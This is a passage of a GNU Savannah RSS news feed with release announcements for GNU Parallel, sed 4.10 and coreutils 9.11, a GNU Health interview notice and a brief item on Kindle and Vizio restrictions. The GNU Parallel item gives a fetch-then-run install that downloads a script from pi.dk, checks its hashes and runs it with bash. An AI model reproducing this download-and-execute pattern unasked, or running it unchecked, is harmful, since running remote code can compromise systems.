&lt;li&gt;Amazon is &lt;a href="https://www.theguardian.com/technology/2026/apr/09/amazon-upsets-book-lovers-by-ending-support-for-old-kindles"&gt;disconnecting the early models of the Swindle&lt;/a&gt; from the Amazon DRM-afflicted book store.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-appliances.html"&gt;Malware in Appliances&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some models of Vizio “smart” TVs will &lt;a href="https://arstechnica.com/gadgets/2026/03/newly-purchased-vizio-tvs-now-require-walmart-accounts-to-use-smart-features/"&gt;have some of their functionalities locked&lt;/a&gt; behind a Walmart account login.
&lt;/li&gt;
&lt;/ul&gt; </description> 
	<pubDate>Fri, 01 May 2026 18:08:11 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health featured at the Cyber|Show UK</title>
	<guid>https://savannah.gnu.org/news/?id=10887</guid>
	<link>https://savannah.gnu.org/news/?id=10887</link>
     <description>  &lt;p&gt;GNU Health at the Cyber|Show! 
&lt;br /&gt;
Grab a coffee and listen to the 40 min. interview Andy Farnell and Helen Plews made to Luis Falcón in their wonderful show. ❤️ 
&lt;br /&gt;

&lt;br /&gt;
They covered key aspects on citizen and patient data privacy, hospital management, federated health networks, genomics and wearables. In the interview they also talked about the risks associated to commercial, closed sourced electronic health records systems and proprietary mobile applications.
&lt;br /&gt;

&lt;br /&gt;
The interview reveals how crucial is Free/Libre software for equity and digital sovereignty in our societies. &#129658; &#127973; &#129516; &#128071;️ 
&lt;br /&gt;
&lt;a href="https://cybershow.uk/episodes.php?id=64"&gt;https://cybershow ... pisodes.php?id=64&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
About Cyber|Show:
&lt;br /&gt;
&lt;a href="https://cybershow.uk/about.php"&gt;https://cybers ... w.uk/about.php&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Get this and latest news about GNU Health from our official Mastodon account:
&lt;br /&gt;
&lt;a href="https://mastodon.social/@gnuhealth"&gt;https://mastodon. ... social/@gnuhealth&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Tags: #GNUHealth #GNU #OpenScience #PublicHealth #Privacy #FreeSoftware #SocialMedicine #CyberShow&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 01 May 2026 09:41:31 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260422 ('Artemis II') released</title>
	<guid>https://savannah.gnu.org/news/?id=10886</guid>
	<link>https://savannah.gnu.org/news/?id=10886</link>
     <description>  &lt;p&gt;GNU Parallel 20260422 ('Artemis II') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  It is a fantastic tool for decades!
&lt;br /&gt;
    -- Ops_Mechanic@reddit
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remote jobs are spawned via pipe to perl, so environment can be bigger. This is a major rewrite.
&lt;/li&gt;
&lt;li&gt;--pipe-part -a supports -L/-N if zextract is installed.
&lt;/li&gt;
&lt;li&gt;--pipe-part -a supports .gz, .bz2, .zst-files if zextract is installed.
&lt;/li&gt;
&lt;li&gt;Comments in code is redone.
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 22 Apr 2026 21:50:23 +0000</pubDate>

</item> 
<item>
	<title>sed @ Savannah: sed-4.10 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10885</guid>
	<link>https://savannah.gnu.org/news/?id=10885</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce sed-4.10, a stable release.&lt;br /&gt;
&lt;br /&gt;
It's been more than 3.5 years and quite a few new bug fixes.&lt;br /&gt;
Special thanks to Paul Eggert, Bruno Haible and Collin Funk&lt;br /&gt;
for all their help, and especially to Bruno for all the gnulib&lt;br /&gt;
support and thorough and indefatigable testing and analysis.&lt;br /&gt;
&lt;br /&gt;
There have been 92 commits by 9 people in the 180 weeks since 4.9.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Arkadiusz Drabczyk (2)&lt;br /&gt;
  Ash Roberts (1)&lt;br /&gt;
  Brun Haible (1)&lt;br /&gt;
  Bruno Haible (5)&lt;br /&gt;
  Collin Funk (5)&lt;br /&gt;
  Hans Ginzel (1)&lt;br /&gt;
  Jim Meyering (60)&lt;br /&gt;
  Paul Eggert (16)&lt;br /&gt;
  Weixie Cui (1)&lt;br /&gt;
&lt;br /&gt;
Jim&lt;br /&gt;
 [on behalf of the sed maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU sed home page:&lt;br /&gt;
    https://gnu.org/s/sed/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz   (2.7MB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz   (1.7MB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/sed/sed-4.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (sed-4.10.tar.gz) = TRef+vkuxNzsVB98Ayvhw7mhhW9JcK25WlBSIXAvUnc=&lt;br /&gt;
  SHA3-256 (sed-4.10.tar.gz) = ftB7Hf2uN4RnayBEgasV7KmqZqCxBUj7e+Am6WDaiKk=&lt;br /&gt;
  SHA256 (sed-4.10.tar.xz) = uOchgrLslqNXTimYxHt6qmTMIM4ADY6awxPMB87PKMc=&lt;br /&gt;
  SHA3-256 (sed-4.10.tar.xz) = bVWJvXR28fvhgP1XTpej6t8V+Bh2YI1lL6aGBy1cG5c=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify sed-4.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/0x7FD9FCCB000BEEEE 2010-06-14 [SCEA]&lt;br /&gt;
        Key fingerprint = 155D 3FC5 00C8 3448 6D1E  EA67 7FD9 FCCB 000B EEEE&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;jim@meyering.net&amp;gt;&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;meyering@fb.com&amp;gt;&lt;br /&gt;
  uid                   [ unknown] Jim Meyering &amp;lt;meyering@gnu.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key jim@meyering.net&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 7FD9FCCB000BEEEE&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=sed&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify sed-4.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the sed git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/sed.git&lt;br /&gt;
&lt;br /&gt;
with commit 89b7a2224d4faa9d8baf76094b1232ad1477ef3e tagged as v4.10.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=sed.git;a=shortlog;h=v4.10&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned sed directory:&lt;br /&gt;
  git shortlog v4.9..v4.10&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73.1-b400b&lt;br /&gt;
  Automake 1.18.1.91&lt;br /&gt;
  Gnulib 2026-04-19 15211966deb52d4cae425c655177a815a88d3fc0&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 4.10 (2026-04-21) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  sed 's/a/b/g' (and other global substitutions) now works on input&lt;br /&gt;
  lines longer than 2GB. Previously, matches beyond the 2^31 byte offset&lt;br /&gt;
  would evoke a "panic" (exit 4).&lt;br /&gt;
  [bug present since the beginning]&lt;br /&gt;
&lt;br /&gt;
  'sed --follow-symlinks -i' no longer has a TOCTOU race that could let&lt;br /&gt;
  an attacker swap a symlink between resolution and open, causing sed to&lt;br /&gt;
  read attacker-chosen content and write it to the original target.&lt;br /&gt;
  [bug introduced in sed 4.1e]&lt;br /&gt;
&lt;br /&gt;
  sed no longer falsely matches when back-references are combined with&lt;br /&gt;
  optional groups (.?) and the $ anchor.  For example, this no longer&lt;br /&gt;
  falsely matches the empty string at beginning of line:&lt;br /&gt;
    $ echo ab | sed -E 's/^(.?)(.?).?\2\1$/X/'&lt;br /&gt;
    Xab&lt;br /&gt;
  [bug present since "the beginning"]&lt;br /&gt;
&lt;br /&gt;
  In --posix mode, sed no longer mishandles backslash escapes (\n,&lt;br /&gt;
  \t, \a, etc.) after a named character class like [[:alpha:]].&lt;br /&gt;
  For example, 's/^A\n[[:alpha:]]\n*/XXX/' would fail to match the&lt;br /&gt;
  trailing newline, treating \n as a literal backslash and an 'n'&lt;br /&gt;
  rather than a newline.  This happened when an earlier backslash&lt;br /&gt;
  escape in the same regex had already been converted, shifting the&lt;br /&gt;
  in-place normalization buffer.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;br /&gt;
  sed --debug no longer crashes when a label (":") command is compiled&lt;br /&gt;
  before the --debug option is processed, e.g., sed -f&amp;lt;(...) --debug.&lt;br /&gt;
  [bug introduced in sed 4.7 with --debug]&lt;br /&gt;
&lt;br /&gt;
  sed no longer rejects the documented GNU extension 'a**' (equivalent&lt;br /&gt;
  to 'a*') in Basic Regular Expression (BRE) mode.  Previously, this&lt;br /&gt;
  worked only with -E (ERE mode), even though grep has always accepted&lt;br /&gt;
  it in BRE mode.&lt;br /&gt;
  [bug present since "the beginning"]&lt;br /&gt;
&lt;br /&gt;
  sed no longer rejects "\c[" in regular expressions&lt;br /&gt;
  [bug present since the beginning]&lt;br /&gt;
&lt;br /&gt;
  'sed --follow-symlinks -i' no longer mishandles an operand that is a&lt;br /&gt;
  short symbolic link to a long symbolic link to a file.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;br /&gt;
  Fix some some longstanding but unlikely integer overflows.&lt;br /&gt;
  Internally, 'sed' now more often prefers signed integer arithmetic,&lt;br /&gt;
  which can be checked automatically via 'gcc -fsanitize=undefined'.&lt;br /&gt;
&lt;br /&gt;
** Changes in behavior&lt;br /&gt;
&lt;br /&gt;
  In the default C locale, diagnostics now quote 'like this' (with&lt;br /&gt;
  apostrophes) instead of `like this' (with a grave accent and an&lt;br /&gt;
  apostrophe).  This tracks the GNU coding standards.&lt;br /&gt;
&lt;br /&gt;
  'sed --posix' now warns about uses of backslashes in the 's' command&lt;br /&gt;
  that are handled by GNU sed but are not portable to other&lt;br /&gt;
  implementations.&lt;br /&gt;
&lt;br /&gt;
** Build-related&lt;br /&gt;
&lt;br /&gt;
  builds no longer fail on platforms without the &amp;lt;getopt.h&amp;gt; header or&lt;br /&gt;
  getopt_long function.&lt;br /&gt;
  [bug introduced in sed 4.9]&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 22 Apr 2026 02:00:45 +0000</pubDate>

</item> 
<item>
	<title>coreutils @ Savannah: coreutils-9.11 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10884</guid>
	<link>https://savannah.gnu.org/news/?id=10884</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce coreutils-9.11, a stable release.&lt;br /&gt;
&lt;br /&gt;
Notable changes include:&lt;br /&gt;
 - cut(1), nl(1), and un/expand(1) are multi-byte character aware&lt;br /&gt;
 - cut(1) supports new -w, -F, -O options for better compatibility&lt;br /&gt;
 - cat(1) and yes(1) use zero-copy I/O on Linux (up to 15x faster)&lt;br /&gt;
 - date(1) now parses dot delimited dd.mm.yy format&lt;br /&gt;
 - cksum --check uses more defensive file name quoting&lt;br /&gt;
 - shuf -i operates up to 2x faster by using unlocked stdio&lt;br /&gt;
 - wc -l operates up to 4.5x faster on hosts with neon instructions&lt;br /&gt;
 - wc -m is up to 2.6x faster when processing multi-byte characters&lt;br /&gt;
&lt;br /&gt;
There have also been many bug fixes and other changes&lt;br /&gt;
as summarized in the NEWS below.&lt;br /&gt;
&lt;br /&gt;
There have been 306 commits by 12 people in the 10 weeks since 9.10&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
&lt;br /&gt;
  Bruno Haible (2)                Paul Eggert (15)&lt;br /&gt;
  Chris Down (2)                  Pádraig Brady (156)&lt;br /&gt;
  Collin Funk (91)                Sam James (1)&lt;br /&gt;
  Dr. David Alan Gilbert (1)      Sylvestre Ledru (17)&lt;br /&gt;
  Gabriel (1)                     Weixie Cui (2)&lt;br /&gt;
  Lukáš Zaoral (2)                oech3 (19)&lt;br /&gt;
&lt;br /&gt;
Pádraig [on behalf of the coreutils maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU coreutils home page:&lt;br /&gt;
    https://gnu.org/s/coreutils/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz   (16MB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz   (6.3MB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.11.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (coreutils-9.11.tar.gz) = IDO4owScBr/0mp486nK99Gg7zQy+uXUhHdVtuvi3Nq4=&lt;br /&gt;
  SHA3-256 (coreutils-9.11.tar.gz) = TwFrSgPuppf+jNggT+aXj037UfVVS2BmYBxXiPLYKxs=&lt;br /&gt;
  SHA256 (coreutils-9.11.tar.xz) = OUAk7aCllVIXztqc0SAeZdyPo6opwpURNaSVIdV8PMM=&lt;br /&gt;
  SHA3-256 (coreutils-9.11.tar.xz) = RkpNMip8O4ly+z3Fef9X20AsotbT1ycBZ5UbG84SiNM=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify coreutils-9.11.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]&lt;br /&gt;
        Key fingerprint = 6C37 DC12 121A 5006 BC1D  B804 DF6F D971 3060 37D9&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;P@draigBrady.com&amp;gt;&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;pixelbeat@gnu.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key P@draigBrady.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys DF6FD971306037D9&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify coreutils-9.11.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the coreutils git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/coreutils.git&lt;br /&gt;
&lt;br /&gt;
with commit c01fd163a47468a8296fb369f5233853bb551bb6 tagged as v9.11.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.11&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned coreutils directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v9.10..v9.11&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73.1-b400b&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-04-19 fb7312fa8d3df29f0ca0678f669b9a5b88a078ec&lt;br /&gt;
  Bison 3.8.2&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 9.11 (2026-04-20) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  'dd' now always diagnoses partial writes correctly upon write failure.&lt;br /&gt;
  Previously it may have indicated that only full writes were performed.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
  'fold' will no longer truncate output when encountering 0xFF bytes.&lt;br /&gt;
  [bug introduced in coreutils-9.8]&lt;br /&gt;
&lt;br /&gt;
  'fold' is again responsive to its input.  Previously it would have delayed&lt;br /&gt;
  processing until 256KiB was read from the input.&lt;br /&gt;
  [bug introduced in coreutils-9.8]&lt;br /&gt;
&lt;br /&gt;
  'kill --help' now has links to valid anchors in the html manual.&lt;br /&gt;
  [bug introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
  When configured with --enable-systemd, the commands 'pinky',&lt;br /&gt;
  'uptime', 'users', and 'who' no longer consider the systemd session&lt;br /&gt;
  classes 'greeter', 'lock-screen', 'background', 'background-light',&lt;br /&gt;
  and 'none' to be users.&lt;br /&gt;
  [bug introduced in coreutils-9.4]&lt;br /&gt;
&lt;br /&gt;
  'pwd' on ancient systems will no longer overflow a buffer&lt;br /&gt;
  when operating in deep paths longer than twice the system PATH_MAX.&lt;br /&gt;
  [bug introduced in coreutils-9.6]&lt;br /&gt;
&lt;br /&gt;
  'stat --printf=%%N' no longer performs unnecessary checks of the QUOTING_STYLE&lt;br /&gt;
  environment variable.&lt;br /&gt;
  [bug introduced in coreutils-8.26]&lt;br /&gt;
&lt;br /&gt;
  'timeout' no longer exits abruptly when its parent is the init process, e.g.,&lt;br /&gt;
  when started by the entrypoint of a container.&lt;br /&gt;
  [bug introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
** New Features&lt;br /&gt;
&lt;br /&gt;
  'cut' now supports multi-byte input and delimiters.  Consequently&lt;br /&gt;
  the -c option is now honored, and no longer an alias for -b, and&lt;br /&gt;
  the -n option is now honored, and no longer ignored.&lt;br /&gt;
  Also the -d option supports multi-byte delimiters.&lt;br /&gt;
&lt;br /&gt;
  'cut' adds new options for better compatibility:&lt;br /&gt;
  The -w,--whitespace-delimited option was added to support blank aligned fields&lt;br /&gt;
  and for better compatibility with FreeBSD/macOS.&lt;br /&gt;
  The -O option was added as an alias for the --output-delimiter option,&lt;br /&gt;
  for better compatibility with busybox/toybox.&lt;br /&gt;
  The -F option was added as an alias for -w -O ' '&lt;br /&gt;
  for better compatibility with busybox/toybox.&lt;br /&gt;
&lt;br /&gt;
  'date --date' now parses dot delimited dd.mm.yy format common in Europe.&lt;br /&gt;
  This is in addition to the already supported mm/dd/yy and yy-mm-dd formats.&lt;br /&gt;
&lt;br /&gt;
** Changes in behavior&lt;br /&gt;
&lt;br /&gt;
  'cksum --check' now uses shell quoting when required, to more robustly&lt;br /&gt;
  escape file names output in diagnostics.&lt;br /&gt;
  This also affects md5sum, sha*sum, and b2sum.&lt;br /&gt;
&lt;br /&gt;
** Improvements&lt;br /&gt;
&lt;br /&gt;
  'cat' now uses zero-copy I/O on Linux when appropriate, to improve throughput.&lt;br /&gt;
  E.g., throughput improved 6x from 12.9GiB/s to 81.8GiB/s on a Power10 system.&lt;br /&gt;
&lt;br /&gt;
  'df --local' recognises more file system types as remote.&lt;br /&gt;
  Specifically: autofs, ncpfs, smb, smb2, gfs, gfs2, userlandfs.&lt;br /&gt;
&lt;br /&gt;
  'df' improves duplicate mount suppression, by checking each mount against&lt;br /&gt;
  all previously kept entries for the same device, not just the latest one.&lt;br /&gt;
&lt;br /&gt;
  'expand' and 'unexpand' now support multi-byte characters.&lt;br /&gt;
&lt;br /&gt;
  'groups' and 'id' will now exit sooner after a write error,&lt;br /&gt;
  which is significant when listing information for many users.&lt;br /&gt;
&lt;br /&gt;
  'install' now allows the combination of the --compare and&lt;br /&gt;
  --preserve-timestamps options.&lt;br /&gt;
&lt;br /&gt;
